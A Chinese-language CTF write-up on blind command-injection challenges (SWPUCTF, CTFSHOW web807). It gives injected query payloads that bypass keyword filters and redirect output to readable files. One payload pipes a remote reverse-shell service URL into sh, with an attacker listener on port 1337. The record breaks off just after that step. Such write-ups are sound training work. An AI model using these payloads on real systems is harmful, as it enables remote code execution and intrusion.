目录
这块还是很有嚼头的,准备分几次总结
命令执行无回显rce思路:
1.利用dnslog带外
2.写马
3.反弹shell
4.写文件然后访问文件
①[SWPUCTF 2021 新生赛]finalrce
过滤了不少东西(其实不怕,关键词过滤\分割绕过不就行hhh)
最麻烦的exec命令执行是无回显的
用下面这种方法最省事:
command | tee file.txt
可以看到的是过滤了>,但没有过滤|,tee将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来看见命令执行的回显
payload:
?url=l\s / | tee 1.txt
访问1.txt
跟进
?url=tac /flllll\aaaaaaggggggg | tee 2.txt
(因为la被过滤,仔细看哈)
访问2.txt
②[SWPUCTF 2023 秋季新生赛]RCE-PLUS
shell_exec也无回显
waf把|和>都放出来了,用上题payload也可以打
我们这题就换个比较常见的>
payload:
?cmd=ls / > 2.txt
访问2.txt
?cmd=tac /f* > 2.txt
访问2.txt
③[CTFSHOW]web807
curl这是让我反弹shell了啊
推荐一个网站:https://your-shell.com/
傻瓜型反弹shell,我行你也行
payload:
?url=https://your-shell.com/124.222.136.33:1337 | sh
(先在自己vps开启1337端口监听)
贴出执行: